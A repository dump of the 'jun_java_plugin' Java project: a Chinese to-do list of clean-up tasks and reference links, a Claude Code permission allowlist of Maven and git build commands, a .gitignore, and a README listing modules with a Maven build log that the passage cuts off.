代码一套，功能一套，同步ssm\n1、清理没用代码、工程pom、工程package、工程test、readme、截图、胶片\nhttps://github.com/callicoder/spring-webflux-reactive-rest-api-demo\nhttps://blog.csdn.net/qq_35067322/article/details/106935320\nhttps://github.com/dolyw/ShiroJwt\n7、linux 部署文档，部署包、docker部署\n1、清理没用代码、工程pom、工程package、工程test、readme、截图、胶片\n部署环境\n\nStep2\nmain\nhttps://github.com/Heeexy/SpringBoot-Shiro-Vue\njun_springboot_jwt_layui\\   合并到ssm框架\njun_springboot_jwt_shiro_api\\   空的\njun_springboot_vue\\   干掉\njun_springboot_vue_pro\\ 合并到上面里面\n\nStep4\n1、uniapp\nhttps://github.com/zsptsf/uniapp.git\nhttps://github.com/c1013529993/springboot-uniapp-21cake\n\nStep1\nJdbc_template\nhttps://gitee.com/jervain_y/repository\n\nhttps://github.com/horsecms/layuiCMS\n\nStep2\n1、vue-element-admin\nhttps://github.com/panjiachen/vue-element-admin-site\nhttps://panjiachen.github.io/vue-element-admin-site/zh/guide/\n2、cloud\nhttps://www.8kee.com/article/17347.html\nhttps://github.com/JourWon/springcloud-learning\nhttps://github.com/wenren0819/Spring-Cloud-2020\nhttps://blog.csdn.net/ThinkWon/article/details/103726655\n\n2、api_service\nhttps://github.com/koocyton/reactor-guice\nhttps://github.com/jwpttcg66/NettyGameServer\n3、bigdata\n爬虫\nhttps://github.com/brianway/webporter\nETL\nhttps://github.com/zhaxiaodong9860/kettle-scheduler\n数仓\nhttps://github.com/fenglei110/DataWarehouse\nhttps://github.com/jd-bigdata/rtf-lake\nhttps://github.com/xzt1995/Data-Warehouse\n新增用户画像、用户行为\nhttps://github.com/monsonlee/BigData\nhttps://github.com/whirlys/BigData-In-Practice\nhttps://github.com/597365581/bigdata_tools\nhttps://blog.csdn.net/u013967628/article/details/83656560\n\n1、plugin 代码全部梳理一遍，package/pom/test/readme\n1、清理没用代码、工程pom、工程package、工程test、readme、截图、胶片\n2、ssh 代码合并到一个，调整功能\n1、清理没用代码、工程pom、工程package、工程test、readme、截图、胶片\n3、ssm 代码合并到一个，调整功能\n1、清理没用代码、工程pom、工程package、工程test、readme、截图、胶片\n4、代码生成器、代码一套，功能一套，合并ry_gen\nhttps://www.jianshu.com/p/31e532392a74\n1、清理没用代码、工程pom、工程package、工程test、readme、截图、胶片\n5、ui 整理ui\n1、清理没用代码、工程pom、工程package、工程test、readme、截图、胶片\n6、apiservice 代码一套，功能一套，同步ssm\n1、清理没用代码、工程pom、工程package、工程test、readme、截图、胶片\nhttps://github.com/callicoder/spring-webflux-reactive-rest-api-demo\nhttps://blog.csdn.net/qq_35067322/article/details/106935320\nhttps://github.com/dolyw/ShiroJwt\n7、linux 部署文档，部署包、docker部署\n1、清理没用代码、工程pom、工程package、工程test、readme、截图、胶片\n部署环境\n\nStep2\nmain\nhttps://github.com/Heeexy/SpringBoot-Shiro-Vue\njun_springboot_jwt_layui\\   合并到ssm框架\njun_springboot_jwt_shiro_api\\   空的\njun_springboot_vue\\   干掉\njun_springboot_vue_pro\\ 合并到上面里面\n\nStep4\n1、uniapp\nhttps://github.com/zsptsf/uniapp.git\nhttps://github.com/c1013529993/springboot-uniapp-21cake\n\nStep1\nJdbc_template\nhttps://gitee.com/jervain_y/repository\n\nhttps://github.com/horsecms/layuiCMS\n\nStep2\n1、vue-element-admin\nhttps://github.com/panjiachen/vue-element-admin-site\nhttps://panjiachen.github.io/vue-element-admin-site/zh/guide/\n2、cloud\nhttps://www.8kee.com/article/17347.html\nhttps://github.com/JourWon/springcloud-learning\nhttps://github.com/wenren0819/Spring-Cloud-2020\nhttps://blog.csdn.net/ThinkWon/article/details/103726655\n\n2、api_service\nhttps://github.com/koocyton/reactor-guice\nhttps://github.com/jwpttcg66/NettyGameServer\n3、bigdata\n爬虫\nhttps://github.com/brianway/webporter\nETL\nhttps://github.com/zhaxiaodong9860/kettle-scheduler\n数仓\nhttps://github.com/fenglei110/DataWarehouse\nhttps://github.com/jd-bigdata/rtf-lake\nhttps://github.com/xzt1995/Data-Warehouse\n新增用户画像、用户行为\nhttps://github.com/monsonlee/BigData\nhttps://github.com/whirlys/BigData-In-Practice\nhttps://github.com/597365581/bigdata_tools\nhttps://blog.csdn.net/u013967628/article/details/83656560\n\nEureka\nhttps://www.cnblogs.com/rickiyang/p/11802413.html\nRebbon\nhttps://blog.csdn.net/forezp/article/details/74820899\nRibbon的负载均衡，主要通过LoadBalancerClient来实现的，而LoadBalancerClient具体交给了ILoadBalancer来处理，ILoadBalancer通过配置IRule、IPing等信息，并向EurekaClient获取注册列表的信息，并默认10秒一次向EurekaClient发送“ping”,进而检查是否更新服务列表，最后，得到注册列表后，ILoadBalancer根据IRule的策略进行负载均衡。在RestTemplate 被@LoadBalance注解后，能过用负载均衡，主要是维护了一个被@LoadBalance注解的RestTemplate列表，并给列表中的RestTemplate添加拦截器，进而交给负载均衡器去处理。\n\n架构\nhttps://blog.csdn.net/shenhuxi10000/article/details/105058723\n\nhttps://github.com/wujun728/learningSummary\n\nSpringboot security\nhttps://blog.csdn.net/yuanlaijike/article/details/80249235\n\nmxtheme02\n\nhttps://github.com/hemin1003\njun_temp     临时仓库\nhttps://github.com/c1013529993/springboot-uniapp-21cake\n\nJWT+VUE\nhttps://github.com/cailichao/easyweb-jwt\nhttps://github.com/whvcse/JwtPermission\n\nElasticsearch\n\n来自 <https://www.cnblogs.com/sunsky303/p/9438737.html>\n\n \n\nhttps://spring-cloud-alibaba-group.github.io/github-pages/hoxton/zh-cn/index.html\n\n***************************************************************************************************\n\nSpringboot_fileupload\nhttps://github.com/gaoyuyue/MyUploader-Backend\n\nspringcloud_plugin\nSuperboot    --- 迁移到jun_cloud_center\nJun_dubbo ---迁移到jun_microservice\nSpring\n\nhttps://github.com/liuge1988/kitty-generator\nhttps://github.com/zhoutaoo/SpringCloud\n\nApi_service\n1、API_BOOT代码生成器合并到code_generator里面\n2、api里面的layui抽出来，合并到\nhttps://github.com/Radom7/springboot-layui\njun_layuiadmin\n3、新增apijson\nhttps://github.com/APIJSON/APIJSON-Demo\nhttps://vincentcheng.github.io/apijson-doc/\n\nApi_service\n1、API_BOOT代码生成器合并到code_generator里面\n2、api里面的layui抽出来，合并到\nhttps://github.com/Radom7/springboot-layui\njun_layuiadmin\n3、新增apijson\nhttps://github.com/APIJSON/APIJSON-Demo\nhttps://vincentcheng.github.io/apijson-doc/\n\nhttps://github.com/scaladte\n\nhttps://github.com/malizhigithub/CRM\n\nhttps://blog.csdn.net/qq_22211217/article/details/83759513\nhttps://www.cnblogs.com/softidea/p/10271266.html\nMysql 递归查询\n \n\nWordPress 多站点\n企业官网\n中软门户网站\n\n"
  },
  {
    "path": ".claude/settings.local.json",
    "content": "{\n  \"permissions\": {\n    \"allow\": [\n      \"Bash(mvn compile -q)\",\n      \"Bash(mvn test -Dtest=io.github.wujun728.db.DbActiveRecordTest)\",\n      \"Bash(ls -d \\\"D:\\\\\\\\workspace\\\\\\\\github-new\\\\\\\\jun_java_plugin\\\\\\\\jun_java_plugins\\\"*/)\",\n      \"Bash(ls -d \\\"D:\\\\\\\\workspace\\\\\\\\github-new\\\\\\\\jun_java_plugin\\\\\\\\jun_java_plugins\\\"jun_*/)\",\n      \"Bash(ls -d \\\"D:\\\\\\\\workspace\\\\\\\\github-new\\\\\\\\jun_java_plugin\\\\\\\\jun_java_plugins\\\"/jun_*/)\",\n      \"Bash(mvn compile -T 4 --fail-at-end)\",\n      \"Bash(git add jun_java_plugins/pom.xml jun_java_plugins/jun_mybatisplus/pom.xml jun_java_plugins/jun_redis/pom.xml jun_java_plugins/jun_email/pom.xml jun_java_plugins/jun_serialization/pom.xml jun_java_plugins/jun_quartz/pom.xml jun_java_plugins/jun_jdk/pom.xml)\",\n      \"Bash(git commit -m \\\"$\\\\(cat <<''EOF''\\ncleanup: remove empty/duplicate modules and fix dependency issues in jun_java_plugins\\n\\n- Comment out 9 empty shell modules \\\\(no Java source files\\\\) from parent POM\\n- Comment out 4 redundant/duplicate modules from parent POM\\n- Fix 12 duplicate dependencies across 5 POMs, including 4 version-mismatch bugs:\\n  - jun_mybatisplus: spring-context was hardcoded 4.3.10 instead of $spring.version 5.1.9\\n  - jun_redis: jedis duplicated with 2.9.0 vs 2.2.1\\n  - jun_quartz: two spring version properties \\\\(4.0.6 vs 5.0.8\\\\) unified to 5.0.8\\n- Remove unused spark-core, spark-sql, hadoop-client from jun_jdk \\\\(zero imports\\\\)\\nEOF\\n\\\\)\\\")\",\n      \"Bash(ls -d \\\"D:\\\\\\\\workspace\\\\\\\\github-new\\\\\\\\jun_java_plugin\\\\\\\\jun_java_plugins\\\"/*/)\",\n      \"Bash(xargs -I{} basename \\\"{}\\\")\",\n      \"Bash(ls -d D:/workspace/github-new/jun_java_plugin/jun_java_plugins/*/)\",\n      \"Bash(mvn compile -T 4)\",\n      \"Bash(mvn clean package -q)\",\n      \"Bash(cmd.exe /c \\\"cd /d D:\\\\\\\\workspace\\\\\\\\github-new\\\\\\\\jun_java_plugin\\\\\\\\jun_springboot_starter\\\\\\\\jun-mybatis-sql-engine && mvn clean package -q 2>&1\\\")\",\n      \"Bash(cmd.exe /c \\\"cd /d D:\\\\\\\\workspace\\\\\\\\github-new\\\\\\\\jun_java_plugin\\\\\\\\jun_springboot_starter\\\\\\\\jun-mybatis-sql-engine && mvn clean package 2>&1\\\")\",\n      \"Bash(cmd.exe /c \\\"D: && cd D:\\\\\\\\workspace\\\\\\\\github-new\\\\\\\\jun_java_plugin\\\\\\\\jun_springboot_starter\\\\\\\\jun-mybatis-sql-engine && mvn clean package\\\")\",\n      \"Bash(powershell.exe -Command \\\"Set-Location ''D:\\\\\\\\workspace\\\\\\\\github-new\\\\\\\\jun_java_plugin\\\\\\\\jun_springboot_starter\\\\\\\\jun-mybatis-sql-engine''; mvn clean package 2>&1\\\")\",\n      \"Bash(powershell.exe -Command \\\"Set-Location ''D:\\\\\\\\workspace\\\\\\\\github-new\\\\\\\\jun_java_plugin\\\\\\\\jun_springboot_starter\\\\\\\\jun-mybatis-sql-engine''; mvn clean package -Dmaven.javadoc.skip=true 2>&1\\\")\",\n      \"Bash(mvn clean compile -q)\",\n      \"Bash(mvn install -pl jun-db-activerecord -q -DskipTests)\",\n      \"Bash(mvn install -pl jun-mybatis-sql-engine -q -DskipTests)\",\n      \"Bash(dir \\\"C:\\\\\\\\Users\\\\\\\\Administrator\\\\\\\\.m2\\\\\\\\repository\\\\\\\\io\\\\\\\\github\\\\\\\\wujun728\\\\\\\\jun-db-activerecord\\\\\\\\1.0.25\\\"\\\")\",\n      \"Bash(mvn install -pl jun-common-base,jun-db-activerecord,jun-mybatis-sql-engine -DskipTests -am)\",\n      \"Bash(mvn clean compile)\",\n      \"Bash(jar tf \\\"D:\\\\\\\\Java\\\\\\\\.m2\\\\\\\\repository\\\\\\\\io\\\\\\\\github\\\\\\\\wujun728\\\\\\\\jun-db-activerecord\\\\\\\\1.0.25\\\\\\\\jun-db-activerecord-1.0.25.jar\\\")\",\n      \"Bash(mvn compile -pl jun-db-activerecord)\",\n      \"Bash(mvn install -pl jun-db-activerecord -DskipTests)\",\n      \"Bash(jar tf \\\"D:\\\\\\\\Java\\\\\\\\.m2\\\\\\\\repository\\\\\\\\io\\\\\\\\github\\\\\\\\wujun728\\\\\\\\jun-mybatis-sql-engine\\\\\\\\1.0.25\\\\\\\\jun-mybatis-sql-engine-1.0.25.jar\\\")\",\n      \"Bash(mvn test -Dtest=\\\"io.github.wujun728.groovy.GroovyScriptTest,io.github.wujun728.rest.RestApiTest,io.github.wujun728.sql.SqlEngineTest,io.github.wujun728.generator.CodeGeneratorTest\\\")\",\n      \"Bash(mvn test -Dtest=\\\"io.github.wujun728.generator.CodeGeneratorTest\\\")\",\n      \"Bash(mvn clean compile test-compile)\",\n      \"Bash(mvn test -Dtest=ModelTest -pl .)\",\n      \"Bash(mvn test)\",\n      \"Bash(mvn clean compile test-compile -q)\",\n      \"Bash(mvn clean test)\",\n      \"Bash(dir /s /b \\\"D:\\\\\\\\workspace\\\\\\\\github-new\\\\\\\\jun_java_plugin\\\\\\\\jun_springboot_starter\\\\\\\\jun-db-activerecord\\\\\\\\src\\\\\\\\main\\\\\\\\java\\\\\\\\io\\\\\\\\github\\\\\\\\wujun728\\\\\\\\db\\\\\\\\*.java\\\")\",\n      \"Bash(mvn test -Dtest=CodeGeneratorTest -pl .)\",\n      \"Bash(mvn test -pl .)\",\n      \"Bash(git add VERSION_CONSTANTS.md)\",\n      \"Bash(git add */pom.xml)\",\n      \"Bash(git commit -m \\\"$\\\\(cat <<''EOF''\\nrefactor: 重构 jun_springboot_starter 模块 - 移除所有 Parent 依赖\\n\\n- 创建 VERSION_CONSTANTS.md 文档，统一记录所有版本号\\n- 移除16个模块的parent POM引用，使其可以独立编译\\n- 添加显式的groupId和version到所有模块\\n- 为每个模块添加完整的properties和dependencyManagement配置\\n- 统一所有内部模块版本号为1.0.25\\n- 更新所有模块间依赖，明确指定版本号\\n- 修正4个模块的错误parent引用（从jun_springcloud_starter改正）\\n- 编译验证：jun-common-base、jun-swagger2、jun-groovy-api-spring-boot-starter等模块编译成功\\n\\n重构范围：\\n- 新增模块：VERSION_CONSTANTS.md\\n- 修改模块：16个pom.xml文件\\n  - 正确parent改为无parent：jun-activerecord、jun-db-spring-boot-starter、\\n    jun-groovy-api、jun-groovy-api-spring-boot-starter、jun-swagger2-spring-boot-starter、\\n    jun-uidgenerator-spring-boot-starter、jun-sentinel-spring-boot-starter、\\n    jun-job-spring-boot-starter、jun-snakerflow-spring-boot-starter、\\n    jun-minio-spring-boot-starter、jun-encrypt-body-spring-boot-starter\\n  - 错误parent改为无parent：jun-log-spring-boot-starter、\\n    jun-redis-spring-boot-starter、jun-onlineForm-spring-boot-starter、\\n    jun-db-activerecord2、jun-oss-spring-boot-starter\\n\\n预期结果：\\n✓ 所有模块都可以独立使用 mvn clean compile 编译\\n✓ 模块间依赖关系清晰明确，版本号统一\\n✓ 第三方用户可以独立引用任何模块而无需关心parent POM\\nEOF\\n\\\\)\\\")\"\n    ]\n  }\n}\n"
  },
  {
    "path": ".gitignore",
    "content": "*.class\r\n.DS_Store\r\napplication.pid\r\n\r\n# Mobile Tools for Java (J2ME)\r\n.mtj.tmp/\r\n\r\n# Package Files #\r\n*.jar\r\n*.war\r\n*.ear\r\n\r\n# virtual machine crash logs, see http://www.java.com/en/download/help/error_hotspot.xml\r\nhs_err_pid*\r\n\r\n# Eclipse\r\n.classpath\r\n.project\r\ntarget\r\nbin\r\nclasses\r\n.settings\r\n.factorypath\r\ndoc2\r\ndoc1\r\n*bak\r\nlog\r\nlogs\r\ntarget\r\n*.zip\r\n\r\nnode_modules\r\n\r\n# Idea\r\n.idea\r\n*.iml\r\n.mvn\r\n\r\n# git\r\n*.orig\r\njun_spring_plugin"
  },
  {
    "path": "README.md",
    "content": "### `jun_java_plugin` 项目  \r\n\r\n### 项目说明\r\njun_java_plugin 整合Java企业级各种开发组件、开箱即用、不写重复代码，包含基础Java基础开发组件，Spring企业级开发组，SpringBoot常用开发组件、SpringCloud开发组件\r\n\r\n### 功能清单\r\n\r\n1. 集成Java常用开发组件：**java_plugin**，Java常用开发组件，当前**包含60+类各种**lib类库示例与文档。\r\n2. 集成SpringBoot常用开发组件：**springboot_plugin**，当前**集成100+**种类库示例与文档。\r\n3. 集成Maven常用项目模板：**maven_template**，当前集成了**10种模板**，含单体及多模块、SSH、SSM、Boot、Cloud等。\r\n4. 集成SpringCloud常用开发组件：**springcloud_plugin**，含个版本netflix、alibaba、dubbo等，主要为示例与文档。\r\n5. 集成Spring常用开发组件：**spring_plugin**，企业级开发常用组件，当前**集成100+种**lib类库示例与文档(Spring的XML时代)。\r\n\r\n\r\n#### 基础篇：企业级开发组件(开发组件、代码生成、前端组件) [jun_java_plugin]\r\n\r\n> Java基础系开发组件-通用篇（jun_plugin） 常用开发组件，基础公共lib包的组件不依赖Spring的组件，主要供原生开发的项目集成：\r\n\r\n\r\n\r\n\r\n#### 工程截图(组件较多，随意截了几个，所有组件正常编译运行)\r\n\r\n<table>\r\n    <tr>\r\n\t\t<td><img src=\"doc/java1.png\"/> \r\n     </tr>\r\n    <tr>\r\n\t\t<td><img src=\"doc/spring1.png\"/>\r\n    </tr>\r\n    <tr>\r\n\t<td><img src=\"doc/springboot1.png\"/>\r\n</tr>\r\n<tr>\r\n\t<td><img src=\"doc/maven1.png\"/>\r\n   </tr>\r\n</table>\r\n\r\n\r\n\r\n#### 模块清单(组件较多，随意写了几个，具体见代码明细)\r\n\r\n【jun_activiti】[流程引擎，Activiti工作流，完成工作流常用操作]<br/>\r\n【jun_ajax】[完成ajax操作，前端及后端的ajax]<br/>\r\n【jun_aliyun_sms】[短信工具,集成阿里云短信、腾讯云短信发送及验证码等功能]<br/>\r\n【jun_apache_commons】[ Common工具集,集成Apache通用工具集] <br/>\r\n【jun_api】[ API中心,API注册测试校验管控鉴权中心] <br/>\r\n【jun_cron】 [cron表达式的java的实现及调度] <br/>\r\n【jun_cache】[分布式缓存，缓存工具,集成Redis分布式缓存功能] <br/>\r\n【jun_camel】[消息路由，ESB服务总线,EIP框架，处理不同系统之间的消息传输] <br/>\r\n【jun_captcha】[ 验证码工具,GoogleKaptcha及各种验证码工具] <br/>\r\n【jun_crawler】[ 爬虫引擎,网络爬虫引擎，Xpath解析HTML] <br/>\r\n【jun_datasource_cluster】[原生集成各种JDBC DataSource数据源,分布式数据源,Druid、DBCP等数据源] <br/>\r\n【jun_dbutil】[原生集成Apache 的Dbutils完成单表及多表的增删改查，原生JDBC操作，简单封装] <br/>\r\n【jun_demo】[ DEMO测试,DEMO测试工具集] <br/>\r\n【jun_designpattern】[23种涉及模式的Java实现] <br/>\r\n【jun_drools】[ 规则引擎,规则引擎的各种demo及工具] <br/>\r\n【jun_dubbo】[ Dubbo,阿里巴巴Dubbo RPC demo及工具集] <br/>\r\n【jun_executor】[原生的并发多线程demo操作] <br/>\r\n【jun_email】[原生邮件发送、纯文本、HTML邮件、带附件的邮件] <br/>\r\n【jun_excel】[ Excel工具集,Excel导入导出工具集] <br/>\r\n【jun_fileupload】[原生的文件上传及下载操作的实现基于common fileupload，OSS上传下载] <br/>\r\n【jun_freemarker】[原生集成freemarker模板引擎，数据+模板=输出，可输出代码生成器] <br/>  \r\n【jun_guava】[ GoogleGuava,谷歌工具集，集合工具，缓存工具] <br/>\r\n【jun_guice】[ GoogleGuice,谷歌依赖注入框架(配合Servlet3.0+Dbutil)] <br/>\r\n【jun_gzip】[ Gzip压缩,Gzip压缩及解压缩] <br/>\r\n【jun_hibernate】[原生集成hibernate及使用,Hibernate,JPA框架，持久化框架] <br/>\r\n【jun_httpclient】[原生集成httpclient，发送http请求、下载文件等，配合Postman发起各种HTTP请求] <br/>\r\n【jun_image】[原生图片操作包、包括图片上传、下载、展示、转码、压缩转Base64、缩略图等] <br/>\r\n【jun_jdk】[JDK原生demo代码，了解的越多才会了解的越深] <br/>\r\n【jun_jdbc】[原生JDBC操作，简单封装，需要的可以看下] <br/>\r\n【jun_j2cache】[ 缓存j2cache,缓存工具，OSCHACHE使用的缓存工具] <br/>\r\n【jun_jar2maven】[ Jar转Maven,Jar转Maven工具集，老web项目转maven项目] <br/>\r\n【jun_jbpm】[ 流程引擎JBPM,流程引擎JBPM，老牌流程引擎] <br/>\r\n【jun_jdk】[ JDK核心,JDK核心工具，常用Demo等] <br/>\r\n【jun_jsoup】[HTM标记语言解析包，完成HTML解析、主要爬虫使用，解析HTML渲染数据] <br/>\r\n【jun_lucene】[老牌搜索引擎、可以看下,搜索框架,搜索框架，全文检索工具] <br/>\r\n【jun_leetcode】[算法刷题大全] <br/>\r\n【jun_mybatisplus】[ MybatisPlus,MybatisPlus数据持久化映射框架] <br/>\r\n【jun_pay】[ 支付工具,支付工具，集成微信及阿里支付] <br/>\r\n【jun_pdf】[ PDF工具,PDF工具，生成PDF及PDF文件] <br/>\r\n【jun_poi】[原生POI完成Excel文件的导入、解析、导出及持久化等] <br/>\r\n【jun_qrcode】[二维码生成器,二维码生成工具，WEB二维码服务] <br/>\r\n【jun_quartz】[job任务调度,任务调度框架，分布式任务调度] <br/>\r\n【jun_redis】[ Redis缓存,Redis缓存，分布式缓存，分布式锁] <br/>\r\n【jun_rpc】[原生RPC调用、客户端及服务端] <br/>\r\n【jun_restlet】[REST工具，轻量级REST框架,不依赖Servlet的REST的工具] <br/>\r\n【jun_serializable】[ 序列化,序列化与反序列化工具集] <br/>\r\n【jun_shiro】[ 认证与鉴权,认证与鉴权，URL过滤，用户任务，角色功能鉴权] <br/>\r\n【jun_sso】[原生SSO的实现单点登录,SSO单点登录工具，提供单点登录服务] <br/>\r\n【jun_servlet】[原生Servlet、WEB开发的基础] <br/>\r\n【jun_templatespider】[ 模板爬虫,模板爬虫工具，直接下载url到html文件] <br/>\r\n【jun_test】[JUNIT框架及TestNG框架] <br/>  \r\n【jun_util】[开发工具util，常用开发工具集、非常重要！！！] <br/>\r\n【jun_webmagic】[ 爬虫引擎Webmagic,爬虫引擎Webmagic，爬取整个网站] <br/>\r\n【jun_webservice】[原生的webservice调用、基于apache cxf实现服务调用及发布,CXF，Axis等] <br/>\r\n【jun_webservlet】[原生Servlet 3.0的实现,Servlet3.0新特性demo，原生注解Servlet] <br/>\r\n【jun_websocket】[原生的WebSocket的实现长链接,Websocket长链接demo，消息推送及异步工具] <br/>\r\n【jun_xml】[原生的XML解析及生产XML、提供SAX、DOM、DOM4J解析生成XML] <br/>\r\n\r\n\r\n> **Maven常用项目模板，含maven单体分布式、SSH、SSM、SpringBoot、SpringCloud等**\r\n\r\n【maven_javaproject】[Java单体项目模板,Java单体项目模板] <br/>\r\n【maven_spring4_multi_modules】[Spring4多模块项目模板,Spring4多模块项目模板] <br/>\r\n【maven_spring5_multi_modules】[Spring5多模块项目模板,Spring5多模块项目模板] <br/>\r\n【maven_spring5template】[Spring5微服务项目模板,Spring5微服务项目模板] <br/>\r\n【maven_springboot】[SpringBoot微服务项目模板,SpringBoot微服务项目模板] <br/>\r\n【maven_project_template】[Java单体项目模板,Java单体项目模板] <br/>\r\n【maven_springboot_jpa_jsp】[Java单体项目模板,Java单体项目模板] <br/>\r\n【maven_springboot_mybatis】[Java单体项目模板,Java单体项目模板] <br/>\r\n【maven_springboot_permission_example】[Java单体项目模板,Java单体项目模板] <br/>\r\n【maven_springboot_template】[Java单体项目模板,Java单体项目模板] <br/>\r\n\r\n\r\n\r\n> **Spring系企业级开发框架组件 Spring常用开发组件100+，万能粘合剂**\r\n\r\n*模块太多，描述写太麻烦了，直接贴编译清单吧，具体如下：*<br/>\r\n` [INFO] --------------------< com.jun.plugin:spring_plugin >--------------------` <br/>\r\n` [INFO] Building spring_plugin 1.0                                     [111/111]` <br/>\r\n` [INFO] --------------------------------[ pom ]---------------------------------` <br/>\r\n` [INFO]` <br/> <br/>\r\n` [INFO] --- maven-clean-plugin:2.5:clean (default-clean) @ spring_plugin ---` <br/><br/>\r\n` [INFO] ------------------------------------------------------------------------` <br/>\r\n` [INFO] Reactor Summary:` <br/>\r\n` [INFO]` <br/>\r\n` [INFO] spring_activemq 1.0 ................................ SUCCESS [  1.337 s]` <br/>\r\n` [INFO] spring_atomikos 1.0 ................................ SUCCESS [  1.070 s]` <br/>\r\n` [INFO] spring_autowired 1.0 ............................... SUCCESS [  0.649 s]` <br/>\r\n` [INFO] spring_camel 1.0 ................................... SUCCESS [  0.444 s]` <br/>\r\n` [INFO] spring_captcha 1.1.9 ............................... SUCCESS [  0.601 s]` <br/>\r\n` [INFO] spring_data_jpa 1.0 ................................ SUCCESS [  0.526 s]` <br/>\r\n` [INFO] spring_demo 1.0 .................................... SUCCESS [  0.341 s]` <br/>\r\n` [INFO] spring_distributed_datasource 1.0 .................. SUCCESS [  0.291 s]` <br/>\r\n` [INFO] spring_distributed_fastdfs 1.0 ..................... SUCCESS [  0.030 s]` <br/>\r\n` [INFO] fastdfs_client 1.0 ................................. SUCCESS [  0.391 s]` <br/>\r\n` [INFO] fastdfs_app 1.0 .................................... SUCCESS [  0.646 s]` <br/>\r\n` [INFO] fastdfs_core 1.0 ................................... SUCCESS [  1.811 s]` <br/>\r\n` [INFO] spring_distributed_lock 1.0 ........................ SUCCESS [  0.224 s]` <br/>\r\n` [INFO] spring_distributed_multidatasource Maven Webapp 1.0  SUCCESS [  0.594 s]` <br/>\r\n` [INFO] spring_distributed_netty 1.0 ....................... SUCCESS [  0.008 s]` <br/>\r\n` [INFO] spring_netty_common 1.0 ............................ SUCCESS [  0.086 s]` <br/>\r\n` [INFO] spring_netty_server 1.0 ............................ SUCCESS [  0.223 s]` <br/>\r\n` [INFO] spring_distributed_oss_qiniu Maven Webapp 1.0 ...... SUCCESS [  0.544 s]` <br/>\r\n` [INFO] spring_distributed_rpc 1.0 ......................... SUCCESS [  0.004 s]` <br/>\r\n` [INFO] fastrpc_core 1.0 ................................... SUCCESS [  0.178 s]` <br/>\r\n` [INFO] fastrpc_server 1.0 ................................. SUCCESS [  0.195 s]` <br/>\r\n` [INFO] fastrpc_client 1.0 ................................. SUCCESS [  0.174 s]` <br/>\r\n` [INFO] spring_distributed_session 1.0.0 ................... SUCCESS [  0.238 s]` <br/>\r\n` [INFO] spring_distributed_transaction_tcc 1.2.12 .......... SUCCESS [  0.037 s]` <br/>\r\n` [INFO] tcc-transaction-api 1.2.12 ......................... SUCCESS [  0.642 s]` <br/>\r\n` [INFO] tcc-transaction-core 1.2.12 ........................ SUCCESS [  1.058 s]` <br/>\r\n` [INFO] tcc-transaction-spring 1.2.12 ...................... SUCCESS [  0.741 s]` <br/>\r\n` [INFO] tcc-transaction-unit-test 1.2.12 ................... SUCCESS [  0.858 s]` <br/>\r\n` [INFO] tcc-transaction-server 1.2.12 ...................... SUCCESS [  0.826 s]` <br/>\r\n` [INFO] tcc-transaction-dubbo 1.2.12 ....................... SUCCESS [  0.831 s]` <br/>\r\n` [INFO] tcc-transaction-bom 1.2.12 ......................... SUCCESS [  0.003 s]` <br/>\r\n` [INFO] spring_drools 1.0 .................................. SUCCESS [  0.573 s]` <br/>\r\n` [INFO] spring_dynamic_datasource 1.0 ...................... SUCCESS [  0.259 s]` <br/>\r\n` [INFO] spring_dynamic_job 1.0 ............................. SUCCESS [  0.644 s]` <br/>\r\n` [INFO] easy-excel-util 1.0 ................................ SUCCESS [  0.952 s]` <br/>\r\n` [INFO] spring_easyexcel 1.0 ............................... SUCCESS [  0.004 s]` <br/>\r\n` [INFO] my-base-common 1.0-SNAPSHOT ........................ SUCCESS [  1.416 s]` <br/>\r\n` [INFO] my-web 1.0-SNAPSHOT ................................ SUCCESS [  2.728 s]` <br/>\r\n` [INFO] spring_elasticsearch Maven Webapp 1.0 .............. SUCCESS [  0.637 s]` <br/>\r\n` [INFO] spring_email 1.0 ................................... SUCCESS [  0.107 s]` <br/>\r\n` [INFO] spring_fastdfs 1.0 ................................. SUCCESS [  0.214 s]` <br/>\r\n` [INFO] spring_fastdfs_test 1.0 ............................ SUCCESS [  0.501 s]` <br/>\r\n` [INFO] spring_fileupload 1.0 .............................. SUCCESS [  1.736 s]` <br/>\r\n` [INFO] spring_hibernate 1.0.0-SNAPSHOT .................... SUCCESS [  0.666 s]` <br/>\r\n` [INFO] spring_hibernate_plus 1.0 .......................... SUCCESS [  1.278 s]` <br/>\r\n` [INFO] spring_hibernate_validator 1.0 ..................... SUCCESS [  0.010 s]` <br/>\r\n` [INFO] spring_images 1.0 .................................. SUCCESS [  0.720 s]` <br/>\r\n` [INFO] spring_ioc_aop 1.0 ................................. SUCCESS [  0.414 s]` <br/>\r\n` [INFO] spring_jedis_cluster 1.0 ........................... SUCCESS [  0.310 s]` <br/>\r\n` [INFO] spring_jedis_simple 1.0 ............................ SUCCESS [  0.217 s]` <br/>\r\n` [INFO] spring_jpa 1.0 ..................................... SUCCESS [  2.663 s]` <br/>\r\n` [INFO] spring_jqgrid 1.0 .................................. SUCCESS [  0.244 s]` <br/>\r\n` [INFO] spring_json_view 1.0 ............................... SUCCESS [  0.238 s]` <br/>\r\n` [INFO] spring_jsonp 1.0 ................................... SUCCESS [  0.192 s]` <br/>\r\n` [INFO] spring_jsoup 1.0 ................................... SUCCESS [  0.165 s]` <br/>\r\n` [INFO] spring_jwt_ssm Maven Webapp 1.0 .................... SUCCESS [  0.673 s]` <br/>\r\n` [INFO] spring_lucene 1.0 .................................. SUCCESS [  0.551 s]` <br/>\r\n` [INFO] spring_mina 1.0 .................................... SUCCESS [  0.470 s]` <br/>\r\n` [INFO] spring_mongodb 1.0 ................................. SUCCESS [  0.688 s]` <br/>\r\n` [INFO] spring_mybatis 1.0 ................................. SUCCESS [  0.717 s]` <br/>\r\n` [INFO] spring_mybatis_generator 1.0 ....................... SUCCESS [  1.976 s]` <br/>\r\n` [INFO] spring_mybatis_generator_gui 0.7.2 ................. SUCCESS [  0.557 s]` <br/>\r\n` [INFO] spring_mybatis_mulidatasource 1.0 .................. SUCCESS [  0.351 s]` <br/>\r\n` [INFO] spring_mybatis_mulidatasource_atomikos 1.0 ......... SUCCESS [  0.270 s]` <br/>\r\n` [INFO] spring_mybatis_plus_generator 1.0 .................. SUCCESS [  0.480 s]` <br/>\r\n` [INFO] spring_mybatis3_simple 1.0 ......................... SUCCESS [  0.272 s]` <br/>\r\n` [INFO] spring_mybatisplus 1.0 ............................. SUCCESS [  0.428 s]` <br/>\r\n` [INFO] spring_netty 1.0 ................................... SUCCESS [  0.662 s]` <br/>\r\n` [INFO] spring_oauth_client 1.1 ............................ SUCCESS [  0.806 s]` <br/>\r\n` [INFO] spring_oauth_server 1.0 ............................ SUCCESS [  0.751 s]` 